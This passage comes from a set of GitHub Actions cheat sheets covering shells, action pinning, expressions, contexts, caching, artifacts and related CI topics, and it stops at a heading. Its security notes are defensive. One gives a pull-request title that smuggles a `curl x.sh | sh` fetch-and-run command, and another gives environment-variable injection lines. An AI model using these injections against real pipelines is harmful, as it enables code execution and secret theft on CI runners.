✓ TIPS & BEST PRACTICES

- For services, prefer health checks over `sleep 10`
- Pin image tags (`postgres:17`), never `latest` , so CI is reproducible
- `docker compose up -d --wait` in a step is an alternative for complex stacks

QUICK SUMMARY

- `container:` — run steps in an image
- `services:` — sidecars for the job
- service name — host from a job container
- `ports:` + localhost — from the runner

Actions: Run Steps & Shells

RUNNING COMMANDS

A `run:` step executes a script in a **shell**. On Linux and macOS the default is `bash -e {0}` (stop on the first failing command); on Windows it's `pwsh`. Set `shell:` to change it per step, or `defaults.run` for a whole job or workflow. Each `run:` is a **new process**: shell variables don't survive to the next step, but files and `$GITHUB_ENV` do.

SHELL BEHAVIOR

- Explicit `shell: bash` adds `-o pipefail`; the implicit default does not
- `working-directory:` sets the step's folder
- Step fails on non-zero exit code; `continue-on-error: true` ignores it
- `timeout-minutes:` works per step too

SHELLS, FOLDERS, DEFAULTS

```yaml
defaults:
  run:
    shell: bash
    working-directory: ./app
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v6
      - name: Multi-line script
        run: |
          npm ci
          npm run build | tee build.log   # pipefail on
      - name: Python inline
        shell: python
        run: |
          import platform; print(platform.python_version())
      - run: ls
        working-directory: ./docs         # override default
      - run: ./flaky.sh
        continue-on-error: true
```

CODE EXPLAINED

- → `defaults.run` — shell + folder for every `run:` below
- → `run: |` — one script, lines run in order
- → `shell: python` — runs the block as a Python file
- → `working-directory:` — per-step override
- → `continue-on-error` — step fails but job continues

SECURITY CHECK

- ! **Risk:** `${{ github.event.pull_request.title }}` inside `run:` is pasted into the script; a title like `"; curl x.sh | sh #` runs.
- ! **Fix:** put untrusted values in `env:` and use `"$TITLE"` in the script.

IN THE LOGS

- $ `Process completed with exit code 127.` — command not found (missing tool or wrong folder)
- $ `exit code 1` with no output — a `grep` or `test` returned false under `bash -e`

SHELL: VALUES

VALUE	RUNS AS
bash	`bash --noprofile --norc -eo pipefail {0}`
sh	`sh -e {0}`
pwsh	PowerShell 7; `$ErrorActionPreference = 'stop'`
python	`python {0}`
cmd	Windows `cmd.exe`
custom	`perl {0}` — any command with `{0}`

COMMON EXIT CODES

CODE	MEANING
0	success
1	general failure (tests failed, grep no match)
2	misuse / bad arguments
126	not executable (`chmod +x` it)
127	command not found

⚠ COMMON MISTAKES

- Setting a variable with `export X=1` and reading it in the next step: it's gone; write to `$GITHUB_ENV`
- Pipes hiding failures with the implicit default shell: add `shell: bash` for pipefail
- Committing a script without the executable bit: exit 126

✓ TIPS & BEST PRACTICES

- `git update-index --chmod=+x script.sh` fixes the executable bit from Windows
- Use `set -x` at the top of a `run:` block to echo each command
- Move scripts over ~10 lines into files (`./scripts/build.sh`) so they're testable locally

QUICK SUMMARY

- `run: |` — multi-line script
- `shell:` — bash · pwsh · python · custom
- `defaults.run` — job/workflow-wide settings
- each step — new process, same filesystem

Actions: Using Actions

REUSABLE STEPS

`uses:` runs an **action**: packaged code from a public repo (`owner/repo@ref`), a subfolder (`owner/repo/path@ref`), a local folder in your repo (`./.github/actions/x`) or a Docker image (`docker://`). Inputs go in `with:`; outputs come back on `steps.<id>.outputs`. The **ref** decides what code runs: a moving tag (`v6`), a fixed tag (`v6.0.1`) or a full commit **SHA**.

PICKING ACTIONS

- Prefer `actions/*` and verified creators (✓ badge in the Marketplace)
- Read `action.yml` for inputs, outputs and defaults
- Local actions need `actions/checkout` first
- Orgs can restrict which actions are allowed (Sheet 63)

EVERY WAY TO REFERENCE AN ACTION

```yaml
steps:
  - uses: actions/checkout@v6                          # major tag (moves)
  - uses: actions/setup-node@v6.0.0                    # exact tag
  - uses: actions/cache@<full-40-char-commit-sha>      # v5.0.0
  - uses: owner/monorepo/actions/lint@v2               # subfolder
  - uses: ./.github/actions/setup                      # local action
  - uses: docker://alpine:3.20                         # image
    with:
      args: echo hello
  - id: meta
    uses: docker/metadata-action@v5
    with:
      images: ghcr.io/${{ github.repository }}
      tags: type=semver,pattern={{version}}
  - run: echo "${{ steps.meta.outputs.tags }}"
```

CODE EXPLAINED

- → `@v6` — newest v6.x; easy, but the owner can move it
- → `@<40-char SHA>` — immutable; comment the version
- → `./path` — action in this repo (after checkout)
- → `docker://` — runs the image; `args` is the command
- → `id:` + `steps.<id>.outputs` — read action outputs

SECURITY CHECK

- ! **Risk:** a compromised third-party action tag (as in the 2025 `tj-actions/changed-files` incident) runs malicious code with your secrets.
- ! **Fix:** pin third-party actions to a full SHA, let Dependabot bump them, and keep `permissions:` minimal.

IN THE LOGS

- $ `Unable to resolve action owner/repo@v9, unable to find version` — tag doesn't exist or repo is private
- $ `Can't find 'action.yml'` — local action used before checkout, or wrong path

REF CHOICES

REF	TRADE-OFF
`@v6`	auto patches; trusts the owner
`@v6.0.1`	fixed until the tag is moved
`@<sha>`	immutable; needs update tooling
`@main`	never: changes on every commit

EVERYDAY ACTIONS

ACTION	DOES
`actions/checkout`	clone the repo
`actions/setup-*`	install Node, Python, Java, Go…
`actions/cache`	cache dependency folders
`actions/upload-artifact`	save files from a run
`actions/github-script`	run JS with an authenticated Octokit

⚠ COMMON MISTAKES

- Using `@main` or `@master`: every upstream commit runs in your pipeline unreviewed
- Passing inputs as `env:` to an action: actions read `with:` (as `INPUT_*` vars)
- Pinning a SHA from a fork instead of the original repo

✓ TIPS & BEST PRACTICES

- Add a `github-actions` entry to `.github/dependabot.yml` to get PRs for action updates
- Tools like `pinact` or `ratchet` convert tags to SHAs in bulk
- Check an action's `runs.using:`; `node20` actions show deprecation warnings

QUICK SUMMARY

- `uses: owner/repo@ref` — run an action
- `with:` — inputs · `steps.id.outputs` — outputs
- `./path` / `docker://` — local or image actions
- full SHA — safest pin for third-party code

Actions: Parallel & Background Steps

CONCURRENCY INSIDE ONE JOB

Since mid-2026, steps don't have to be strictly sequential. `background: true` starts a step and moves on immediately; `wait` blocks until named background steps finish, `wait-all` until all of them do, and `cancel` stops one. `parallel:` is shorthand for a group of background steps plus an automatic wait. Everything shares **one runner**: same files, CPU and memory.

RULES

- Up to **10** background steps at once per job; extras queue
- A background step's outputs and env changes appear only **after** a `wait` that includes it
- If a background step fails, the `wait` for it fails
- `wait`, `wait-all` and `cancel` steps have no `run` / `uses`

BUILD IN PARALLEL, TEST AGAINST A SERVER

```yaml
steps:
  - uses: actions/checkout@v6
  - run: npm ci
  - parallel:                      # all three at once, then wait
      - run: npm run build:web
      - run: npm run build:api
      - run: npm run lint
  - id: server
    run: npm start                 # never exits on its own
    background: true
  - run: npx wait-on http://localhost:3000
  - run: npm run test:e2e
  - cancel: server                 # stop the server cleanly

  # Explicit form:
  - { id: a, run: ./job-a.sh, background: true }
  - { id: b, run: ./job-b.sh, background: true }
  - wait: [a, b]                   # or: - wait-all:
```

CODE EXPLAINED

- → `parallel:` — list of steps; next step waits for all
- → `background: true` — start and continue immediately
- → `wait-on` — started ≠ ready; poll before testing
- → `cancel: server` — terminate a long-running step
- → `wait: [a, b]` — join specific steps by `id`

KEYWORDS

STEP KEY	DOES
`background: true`	run asynchronously
`wait: id / [ids]`	block until those finish
`wait-all:`	block until every background step finishes
`cancel: id`	send stop signal, then force-kill
`parallel: [steps]`	background group + implicit wait

PARALLEL STEPS OR SEPARATE JOBS?

NEED	USE
`share files / installed deps`	parallel steps
`more CPU / RAM`	separate jobs (new runners)
`different OS`	separate jobs or matrix
`individual re-runs and checks`	separate jobs
`service for tests`	background step + cancel

⚠ COMMON MISTAKES

- Reading a background step's output before `wait`: it's empty
- Starting a server in the background with no readiness check: tests hit a closed port
- Parallel steps writing the same files or ports: they race on the shared runner

✓ TIPS & BEST PRACTICES

- Give background steps a `name:`: each gets its own log section
- Use `cancel:` for servers; a never-ending background step keeps `wait-all` pending until timeout
- Linters and validators may lag new syntax; update actionlint and your editor extension

QUICK SUMMARY

- `parallel:` — run a group, then continue
- `background: true` — fire and forget (for now)
- `wait` / `wait-all` — join; surfaces outputs
- `cancel` — stop long-running steps

Actions: Expressions & Operators

THE ${{ }} LANGUAGE

Anything inside `${{ }}` is an **expression**, evaluated by GitHub **before** the step runs; the result is pasted into the YAML as text. Expressions read **contexts** (Sheet 54), call **functions** (Sheet 55) and combine values with operators. In `if:` the wrapper is optional: `if: github.ref == 'refs/heads/main'` works as-is.

EVALUATION RULES

- Strings use **single quotes**; escape with `''`
- String comparison ignores case: `'ABC' == 'abc'` is true
- Missing properties evaluate to `null`, not an error
- `&&` / `||` return a **value**, enabling `a && b || c` as a ternary

EXPRESSIONS IN PRACTICE

```yaml
env:
  IS_MAIN: ${{ github.ref == 'refs/heads/main' }}    # 'true'/'false'
  TARGET: ${{ github.ref_name == 'main' && 'prod' || 'staging' }}
  RETRIES: ${{ inputs.retries || 3 }}                # default
jobs:
  deploy:
    if: github.event_name == 'push' && !contains(github.ref, 'wip')
    runs-on: ubuntu-latest
    steps:
      - if: ${{ !cancelled() && env.TARGET == 'prod' }}
        run: echo "Deploying to $TARGET"
      - run: echo "${{ 2 > 1 }} ${{ 'a' < 'b' }} ${{ null == '' }}"
        # → true true true
      - run: echo "${{ toJSON(github.event.commits.*.message) }}"
```

CODE EXPLAINED

→ `cond && 'a' || 'b'` — ternary; breaks if `'a'` is falsy

→ `inputs.retries || 3` — fallback when empty

→ `!` at the start of `if:` — wrap in `${{ }}` (YAML tag char)

→ `.*.message` — object filter: array of every commit message

IN THE LOGS

$ `Unrecognized named-value: 'secret'` — typo in a context name (`secrets`)

$ `Unexpected symbol: '"abc"'` — double quotes inside `${{ }}` ; use single quotes

OPERATORS

OP	MEANING
`( )`	grouping
`[ ] / .`	index / property: `github['ref']`
`!`	not
`< <= > >=`	compare (numbers, strings)
`== !=`	equal / not equal (loose)
`&& ||`	and / or (return operand)

TRUTHINESS & COERCION

VALUE	AS BOOLEAN / NUMBER
`false, 0, -0, ''`	falsy
`null`	falsy · number 0
`NaN`	falsy
`'true' (string)`	truthy, but `'true' == true` is false
`[] / {}`	truthy

⚠ COMMON MISTAKES

- Writing `if: !startsWith(...)` without `${{ }}` : YAML reads `!` as a tag
- `if: ${{ inputs.flag }} == true` — only part is an expression; the rest is a non-empty string, always truthy
- Using `${{ }}` to build shell code from user input (see Sheet 63)

✓ TIPS & BEST PRACTICES

- Wrap a whole condition in one `${{ }}` or none at all
- Keep `if:` conditions short; move complex logic into a step that writes an output
- Debug any value with `run: echo '${{ toJSON(x) }}'`

QUICK SUMMARY

- `${{ expr }}` — evaluated before the step runs
- `'single'` quotes — string literals
- `a && b || c` — inline conditional
- `if:` — `${{ }}` optional, except leading `!`

Actions: Contexts

WHAT EXPRESSIONS CAN READ

A **context** is an object of run information that expressions can read: `github` (event, repo, ref, actor), `env`, `vars`, `secrets`, `job`, `steps`, `runner`, `strategy`, `matrix`, `needs` and `inputs`. Each is available only in certain places: you can't read `steps` in `runs-on`, or `secrets` in an `if:` at job level. Dump one with `toJSON()` to see its shape.

AVAILABILITY GOTCHAS

- `runs-on`, `concurrency`, job `if:` can't see `env` or `steps`
- `secrets` can't be used directly in `if:`; copy to `env` first
- `github.event` holds the raw webhook payload for the trigger
- `vars` — non-secret config variables (Sheet 61)

READING CONTEXTS

```yaml
jobs:
  info:
    runs-on: ubuntu-latest
    steps:
      - id: who
        run: echo "name=$GITHUB_ACTOR" >> "$GITHUB_OUTPUT"
      - run: |
          echo "repo:   ${{ github.repository }}"     # owner/repo
          echo "ref:    ${{ github.ref_name }}"       # main / 42/merge
          echo "sha:    ${{ github.sha }}"
          echo "actor:  ${{ steps.who.outputs.name }}"
          echo "os:     ${{ runner.os }}"
          echo "region: ${{ vars.AWS_REGION }}"
      - name: Dump the event payload
        env:
          EVENT: ${{ toJSON(github.event) }}
        run: echo "$EVENT" | jq '.head_commit.message'
```

CODE EXPLAINED

- → `github.repository` — `owner/repo`
- → `github.ref_name` — short branch/tag name
- → `steps.<id>.outputs` — values earlier steps wrote
- → `vars.NAME` — config variable from settings
- → `toJSON(...)` via `env:` — safe way to inspect payloads

SECURITY CHECK

- ! **Risk:** fields like `github.event.issue.title`, `.body`, `github.head_ref` and commit messages are **attacker-controlled**.
- ! **Fix:** never place them directly in `run:`; pass through `env:` and quote the variable.

USEFUL GITHUB.* FIELDS

FIELD	EXAMPLE
`event_name`	`push`, `pull_request`
`ref / ref_name`	`refs/heads/main` / `main`
`head_ref / base_ref`	PR source / target branch
`sha / run_id / run_number`	commit · unique id · counter
`actor / triggering_actor`	who started it / re-ran it
`workspace / server_url`	checkout dir · `https://github.com`

CONTEXT MAP

CONTEXT	HOLDS
`env / vars / secrets`	env vars · config vars · secrets
`job / runner`	container/services info · OS, temp dir
`steps`	`outputs`, `outcome`, `conclusion` per id
`needs`	upstream job `outputs` and `result`
`matrix / strategy`	current combo · `job-index`, `fail-fast`
`inputs`	dispatch or `workflow_call` inputs

⚠ COMMON MISTAKES

- `if: secrets.TOKEN != ''` at job level: not allowed; set `env: HAS_TOKEN: ${{ secrets.TOKEN != '' }}` in a step
- Using `github.head_ref` on push events: it's only set for PR events
- Expecting `github.sha` on `pull_request` to be the head commit: it's the merge commit

✓ TIPS & BEST PRACTICES

- PR head commit: `github.event.pull_request.head.sha`
- Docs table **Context availability** lists exactly where each context works
- Prefer default env vars (`$GITHUB_SHA`) inside scripts; contexts in YAML keys

QUICK SUMMARY

- `github` — event, ref, repo, actor
- `steps` / `needs` — data from steps / jobs
- `vars` / `secrets` — settings values
- availability — varies by key; check the docs table

Actions: Functions & Status Checks

BUILT-IN FUNCTIONS

Expressions have a small standard library: string tests (`contains`, `startsWith`, `endsWith`), formatting (`format`, `join`), JSON conversion (`toJSON`, `fromJSON`), `hashFiles` for cache keys, and **status-check functions** that decide whether a step or job runs after earlier failures. An `if:` with no status function gets an implicit `success() &&` in front.

STATUS LOGIC

- Default `if:` = `success() && <your condition>`
- `always()` runs even if the run was **cancelled**
- Prefer `!cancelled()` for cleanup that should respect cancel
- `failure()` in a step: any earlier step failed

FUNCTIONS IN CONTEXT

```yaml
steps:
  - if: contains(github.event.head_commit.message, '[docs]')
    run: echo "docs change"
  - if: startsWith(github.ref, 'refs/tags/v')
    run: echo "release build"
  - run: echo "${{ format('{0}-{1}', runner.os, github.run_number) }}"
    # → Linux-87
  - run: echo "${{ join(fromJSON('["a","b"]'), ', ') }}"   # a, b
  - uses: actions/cache@v5
    with:
      path: ~/.npm
      key: npm-${{ hashFiles('**/package-lock.json') }}
  - if: failure()
    run: echo "something above failed"
  - if: ${{ !cancelled() }}
    run: ./cleanup.sh
```

CODE EXPLAINED

- → `contains(str, sub)` — also `contains(array, item)`
- → `format('{0}', x)` — `{{` for a literal brace
- → `fromJSON` — string → object/number/boolean
- → `hashFiles(glob)` — SHA-256 of matching files, `''` if none
- → `failure()` / `!cancelled()` — run after failures

IN THE LOGS

- $ Step shows ⊘ **skipped** after a failure — expected; add `failure()` or `always()` to `if:`
- $ `The template is not valid... hashFiles('...') failed` — glob outside `GITHUB_WORKSPACE`

FUNCTIONS

FUNCTION	RETURNS
`contains(a, b)`	true if b in string/array a
`startsWith / endsWith(s, x)`	prefix / suffix test (case-insensitive)
`format(fmt, ...args)`	string with `{0}`, `{1}` replaced
`join(array, sep)`	string; default sep `,`
`toJSON(v) / fromJSON(s)`	pretty JSON / parsed value
`hashFiles(p1, p2…)`	hash of matching files

STATUS FUNCTIONS

FUNCTION	TRUE WHEN
`success()`	all previous steps/jobs succeeded
`failure()`	any previous step/job failed
`cancelled()`	the run was cancelled
`always()`	always, even on cancel
`!cancelled()`	not cancelled (failures OK)

⚠ COMMON MISTAKES

- Using `always()` for long cleanup: it ignores cancel, so cancelled runs keep going
- `fromJSON(inputs.count) > 5` without `fromJSON`: comparing a string to a number
- `hashFiles` on a path that doesn't exist yet: returns `''`, so every run shares one cache key

✓ TIPS & BEST PRACTICES

- Turn strings into booleans/numbers with `fromJSON('true')` / `fromJSON('42')`
- Use `steps.<id>.outcome == 'failure'` with `continue-on-error` to react to one specific step
- `format` with `{{ }}` escapes: `format('{{0}}')` prints `{0}`

QUICK SUMMARY

- string tests — `contains`, `startsWith`, `endsWith`
- `format` / `join` / `toJSON` / `fromJSON` — convert
- `hashFiles` — cache keys
- `failure()` / `!cancelled()` — after-failure logic

Actions: Env Vars, Outputs & File Commands

PASSING VALUES BETWEEN STEPS

`env:` sets environment variables at workflow, job or step level (the narrowest wins). To hand a value to **later** steps, a step appends `NAME=value` lines to special files: `$GITHUB_ENV` (env var for the rest of the job), `$GITHUB_OUTPUT` (a step output, read as `steps.<id>.outputs.NAME`), `$GITHUB_PATH` (prepend to `PATH`) and `$GITHUB_STEP_SUMMARY` (Markdown on the run page).

RULES

- Values written to these files apply from the **next** step on
- `env` context = YAML values; `$VAR` in shell = the real environment
- Multiline values need a delimiter (`NAME<<EOF`)
- `::set-output` / `::set-env` are deprecated or disabled; use the files

WRITING TO THE FILE COMMANDS

```yaml
env:
  APP: shop                              # workflow level
jobs:
  build:
    runs-on: ubuntu-latest
    env: { STAGE: test }                 # job level
    steps:
      - id: ver
        run: |
          echo "BUILD_DATE=$(date +%F)" >> "$GITHUB_ENV"
          echo "version=2.3.1" >> "$GITHUB_OUTPUT"
          echo "$HOME/.local/bin" >> "$GITHUB_PATH"
          {
            echo "NOTES<<EOF"
            git log -3 --oneline
            echo "EOF"
          } >> "$GITHUB_ENV"
      - run: |
          echo "$APP $BUILD_DATE v${{ steps.ver.outputs.version }}"
          echo "### Built v2.3.1 :rocket:" >> "$GITHUB_STEP_SUMMARY"
```

CODE EXPLAINED

- → `>> "$GITHUB_ENV"` — env var for all later steps
- → `>> "$GITHUB_OUTPUT"` — needs a step `id:` to read
- → `$GITHUB_PATH` — new tools found by later steps
- → `NAME<<EOF … EOF` — multiline value
- → `$GITHUB_STEP_SUMMARY` — Markdown on the summary page

SECURITY CHECK

- ! **Risk:** writing untrusted text (a PR title, a branch name) to `$GITHUB_ENV` can inject extra lines like `LD_PRELOAD=...` or `NODE_OPTIONS=...` that hijack later steps.
- ! **Fix:** validate or strip newlines first, and use a random delimiter (`EOF_$RANDOM`) for multiline values.

DEFAULT ENV VARS

VARIABLE	VALUE
`GITHUB_SHA / GITHUB_REF_NAME`	commit · branch or tag
`GITHUB_REPOSITORY`	`owner/repo`
`GITHUB_WORKSPACE`	checkout folder
`GITHUB_RUN_ID / RUN_NUMBER`	unique id · counter
`RUNNER_OS / RUNNER_TEMP`	`Linux` · temp folder
`CI`	always `true`

FILE COMMANDS

FILE	LINE FORMAT
`$GITHUB_ENV`	`NAME=value`
`$GITHUB_OUTPUT`	`name=value`
`$GITHUB_PATH`	`/abs/dir` (one per line)
`$GITHUB_STEP_SUMMARY`	Markdown
`$GITHUB_STATE`	`name=value` for an action's `post:` step

⚠ COMMON MISTAKES

- Reading a `$GITHUB_ENV` value in the **same** step: it's only set from the next one
- Forgetting the step `id:`, so `steps.x.outputs` is empty
- PowerShell writes UTF-16 by default: use `"X=1" | Out-File -Append -Encoding utf8 $env:GITHUB_ENV`

✓ TIPS & BEST PRACTICES

- Quote the file path: `>> "$GITHUB_OUTPUT"`
- Prefer outputs over env for values other steps or jobs depend on: they're explicit
- Step summaries accept tables and Mermaid; great for test or coverage reports

QUICK SUMMARY

- `env:` — workflow / job / step variables
- `$GITHUB_ENV` — set env for later steps
- `$GITHUB_OUTPUT` — step outputs by `id`
- `$GITHUB_PATH` / `$GITHUB_STEP_SUMMARY` — PATH, report

Actions: Matrix Strategy

ONE JOB, MANY COMBINATIONS

`strategy.matrix` expands one job definition into a job per **combination** of the listed values. A 3 × 2 matrix of Node versions and operating systems produces six parallel jobs, each reading its values from the `matrix` context. `include` adds or extends combinations, `exclude` removes them, and the matrix can even come from JSON produced by an earlier job.

LIMITS & DEFAULTS

- Max **256** jobs per matrix per workflow run
- `fail-fast: true` (default) cancels the rest when one fails
- `max-parallel` caps how many run at once
- Each combination shows as its own check: `test (22, ubuntu-latest)`

STATIC AND DYNAMIC MATRICES

```yaml
jobs:
  test:
    runs-on: ${{ matrix.os }}
    strategy:
      fail-fast: false
      max-parallel: 4
      matrix:
        os: [ubuntu-latest, windows-latest]
        node: [20, 22, 24]
        exclude:
          - { os: windows-latest, node: 20 }
        include:
          - { os: ubuntu-latest, node: 24, coverage: true }
    steps:
      - uses: actions/setup-node@v6
        with: { node-version: "${{ matrix.node }}" }
      - run: npm test ${{ matrix.coverage && '-- --coverage' || '' }}

  dynamic:
    needs: plan                      # plan outputs '["api","web"]'
    strategy:
      matrix:
        app: ${{ fromJSON(needs.plan.outputs.apps) }}
```

CODE EXPLAINED

- → `runs-on: ${{ matrix.os }}` — matrix picks the runner
- → `exclude` — drop one combination (5 jobs remain)
- → `include` with matching keys — adds `coverage` to that job
- → `fromJSON(...)` — matrix from an earlier job's output

IN THE LOGS

- $ Sibling jobs show **cancelled** after one fails — `fail-fast` is on; set `fail-fast: false`
- $ `Matrix vector 'app' does not contain any values` — the dynamic list was empty

INCLUDE RULES

CASE	RESULT
keys match an existing combo	extra keys added to it
values not in the matrix	a new combination
only include: (no base)	exactly the listed jobs
exclude partial match	removes every combo that matches

MATRIX / STRATEGY CONTEXT

EXPRESSION	VALUE
matrix.<key>	current combination's value
strategy.job-index	0-based index of this job
strategy.job-total	total jobs in the matrix
strategy.fail-fast	true / false
toJSON(matrix)	whole combination (for logs)

⚠ COMMON MISTAKES

- Unquoted versions in the matrix (`[3.10, 3.11]`): 3.10 becomes 3.1
- Required checks naming a matrix job that no longer exists after a version bump
- Using `continue-on-error` on the job when you meant `fail-fast: false`

✓ TIPS & BEST PRACTICES

- Add `name: test (${{ matrix.os }})` for readable check names
- Use `continue-on-error: ${{ matrix.experimental }}` to allow failures on nightly versions only
- Combine matrix + summary job (`needs: test`) to have one stable required check

QUICK SUMMARY

- `strategy.matrix` — job per combination
- `include` / `exclude` — add, extend, remove
- `fail-fast` / `max-parallel` — failure and concurrency
- `fromJSON` — dynamic matrices

Actions: Concurrency & Timeouts

concurrency: group · cancel-in-progress · github.ref · timeout-minutes

STOP RUNS PILING UP

A **concurrency group** is a string; only one run (or job) with the same group can be **running**, and at most one more can be **pending**. A newer pending run replaces the older pending one. Add `cancel-in-progress: true` to cancel the running one instead, which is ideal for PR builds where only the latest commit matters. `timeout-minutes` stops runaway jobs and steps.

BEHAVIOR

- Group names are case-insensitive and can use expressions
- Works at workflow level or job level
- Default job timeout: **360** minutes; set it lower
- Timed-out jobs count as **failure**; cancelled ones as **cancelled**

PR BUILDS AND SAFE DEPLOYS

```yaml
# Cancel older runs for the same PR / branch
concurrency:
  group: ${{ github.workflow }}-${{ github.ref }}
  cancel-in-progress: ${{ github.event_name == 'pull_request' }}

jobs:
  test:
    runs-on: ubuntu-latest
    timeout-minutes: 15
    steps:
      - uses: actions/checkout@v6
      - run: npm test
        timeout-minutes: 10

  deploy:
    needs: test
    runs-on: ubuntu-latest
    concurrency:                    # one deploy at a time, never cancel
      group: deploy-production
      cancel-in-progress: false
    steps:
      - run: ./deploy.sh
```

CODE EXPLAINED

- → `github.workflow` + `github.ref` — one group per workflow per branch/PR
- → `cancel-in-progress` as an expression — cancel only on PRs
- → `timeout-minutes` — job and step level
- → job-level `group: deploy-production` — queue deploys

IN THE LOGS

- $ `Canceling since a higher priority waiting request for 'ci-refs/heads/main' exists` — concurrency at work
- $ `The job running on runner ... has exceeded the maximum execution time of 15 minutes.` — `timeout-minutes` hit

GROUP RECIPES

GROUP	EFFECT
`${{ github.workflow }}-${{ github.ref }}`	per workflow + branch/PR
`${{ github.head_ref || github.run_id }}`	PRs share; pushes never cancel
`deploy-${{ inputs.env }}`	one deploy per environment
`${{ github.repository }}`	one run repo-wide

WHAT HAPPENS

SITUATION	RESULT
`1 running, new run arrives`	new run waits (pending)
`1 pending, another arrives`	old pending cancelled
`cancel-in-progress: true`	running one cancelled
`timeout reached`	job fails, `if: always()` jobs still run

⚠ COMMON MISTAKES

- `cancel-in-progress: true` on deploy workflows: a half-finished deploy gets killed
- A group of just `${{ github.workflow }}`: pushes to different branches cancel each other
- Relying on the 6-hour default timeout: a hung test burns hours of minutes

✓ TIPS & BEST PRACTICES

- Expect queued runs to be dropped: only the newest pending run per group survives
- Use `github.head_ref || github.run_id` so push builds on main never cancel each other
- Set org-wide guardrails: `timeout-minutes` on every job in your templates

QUICK SUMMARY

- `concurrency.group` — one running per group
- `cancel-in-progress` — replace the running one
- job-level concurrency — serialize deploys
- `timeout-minutes` — job and step limits

Actions: Caching Dependencies

SKIP REINSTALLING EVERY TIME

`actions/cache` saves a folder at the end of a job and restores it at the start of the next run when the **key** matches. Build the key from a hash of your lockfile so it changes only when dependencies change; `restore-keys` give partial matches to fall back on. Most `setup-*` actions have a built-in `cache:` input that does all of this for you.

CACHE RULES

- Caches are immutable: an exact key hit is never re-saved
- Scope: a branch can read its own caches and the default branch's
- Unused caches are evicted after 7 days, oldest first over the repo limit
- Repo limit defaults to 10 GB; admins can raise it

EXPLICIT CACHE AND BUILT-IN CACHE

```yaml
steps:
  - uses: actions/checkout@v6

  # Easiest: built into setup-node (also setup-python, -java, -go)
  - uses: actions/setup-node@v6
    with:
      node-version: 22
      cache: npm

  # Full control with actions/cache
  - id: cache
    uses: actions/cache@v5
    with:
      path: ~/.cache/pip
      key: ${{ runner.os }}-py-${{ hashFiles('requirements*.txt') }}
      restore-keys: |
        ${{ runner.os }}-py-
  - if: steps.cache.outputs.cache-hit != 'true'
    run: pip install -r requirements.txt
```

CODE EXPLAINED

- → `cache: npm` — caches `~/.npm`, keyed on `package-lock.json`
- → `key` — OS + lockfile hash: exact match restores
- → `restore-keys` — prefix match: newest partial cache
- → `cache-hit` — `'true'` only on an exact key hit

SECURITY CHECK

- ! **Risk:** cache poisoning: a PR job that can write a cache your main-branch release later restores can slip in modified dependencies.
- ! **Fix:** never restore caches in release/publish jobs; build those clean, or use `actions/cache/restore` only.

IN THE LOGS

- $ `Cache not found for input keys: Linux-py-…` — first run or a new lockfile; normal
- $ `Cache saved with key: …` in the **Post** step / `Cache hit occurred on the primary key …, not saving cache` — expected

TYPICAL PATHS

TOOL	PATH
npm	~/.npm
pip	~/.cache/pip
Gradle	~/.gradle/caches, ~/.gradle/wrapper
Maven	~/.m2/repository
Go	~/go/pkg/mod, ~/.cache/go-build

CACHE ACTION VARIANTS

USE	DOES
actions/cache	restore at start, save in post step
actions/cache/restore	restore only (read-only jobs)
actions/cache/save	save explicitly, any time
gh cache list / delete	inspect or purge from the CLI

⚠ COMMON MISTAKES

- Caching `node_modules` across OS or Node versions: native modules break; cache `~/.npm` instead
- A key without a hash (`npm-cache`): it's saved once and never updated
- Expecting a feature branch to see another feature branch's cache: it can't

✓ TIPS & BEST PRACTICES

- Put `runner.os` first in every key; caches aren't portable across OSes
- Use the setup action's `cache:` input before writing your own `actions/cache` step
- Purge a bad cache: Actions tab → **Caches**, or `gh cache delete <key>`

QUICK SUMMARY

- `actions/cache` — restore + save a folder
- `key` with `hashFiles` — invalidates on lockfile change
- `restore-keys` — partial fallback
- `setup-*` `cache:` — built-in shortcut

Actions: Artifacts

FILES THAT OUTLIVE THE JOB

An **artifact** is a set of files uploaded from a job and stored with the run: build output, test reports, coverage, logs. Other jobs in the same run download it with `actions/download-artifact`, and people download it from the run page or with `gh run download`. Artifacts are for passing **results**; caches are for speeding up **inputs**.

ARTIFACT RULES

- Names must be unique per run; artifacts are **immutable** (no appending)
- Default retention 90 days (or the repo setting); `retention-days` 1–90
- Downloads are zip files from the UI; extracted in workflows
- Hidden files are excluded by default (`include-hidden-files`)

BUILD ONCE, USE TWICE

```yaml
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v6
      - run: npm ci && npm run build
      - uses: actions/upload-artifact@v7
        with:
          name: dist
          path: dist/
          retention-days: 7
          if-no-files-found: error
  e2e:
    needs: build
    runs-on: ubuntu-latest
    steps:
      - uses: actions/download-artifact@v8
        with: { name: dist, path: dist }
      - run: npx playwright test
      - if: failure()
        uses: actions/upload-artifact@v7
        with: { name: playwright-report, path: playwright-report/ }
```

CODE EXPLAINED

→ `name` — key other jobs and people use

→ `path` — file, folder, glob or multiline list

→ `if-no-files-found: error` — fail instead of warn

→ `download-artifact` — omit `name` to fetch all

→ `if: failure()` — upload reports only when tests fail

SECURITY CHECK

! **Risk:** artifacts from PR runs are built from untrusted code; a privileged `workflow_run` job that downloads and **executes** them runs attacker code.

! **Fix:** treat downloaded artifacts as data; never source scripts from them in jobs that hold secrets.

IN THE LOGS

$ `No files were found with the provided path: dist/. No artifacts will be uploaded.` — wrong path or the build didn't run

$ `Failed to CreateArtifact: ... an artifact with this name already exists` — matrix jobs need unique names, e.g. `dist-${{ matrix.os }}`

UPLOAD-ARTIFACT INPUTS

INPUT	MEANING
`name`	artifact name (default `artifact`)
`path`	what to upload
`retention-days`	1–90 days
`compression-level`	0 (none) – 9 (max)
`overwrite`	replace an existing name

CACHE OR ARTIFACT?

NEED	USE
speed up installs	cache
pass build output to next job	artifact
keep test reports	artifact
share across runs/branches	cache
download from the UI	artifact

⚠ COMMON MISTAKES

- Same artifact name from every matrix job: v4+ rejects duplicates; add the matrix value to `name`
- Mixing major versions of upload and download actions across jobs
- Using artifacts as a cache: they don't cross runs automatically and cost storage

✓ TIPS & BEST PRACTICES

- Merge many small artifacts with `pattern:` + `merge-multiple: true` on download
- Short `retention-days` (1–7) for intermediate build output keeps storage costs low
- `gh run download <run-id> -n dist` fetches one artifact locally

QUICK SUMMARY

- `upload-artifact` — save files from a job
- `download-artifact` — get them in a later job
- immutable + unique names per run
- artifact = results · cache = inputs

Actions: Secrets & Variables

KEEPING CONFIG OUT OF YAML

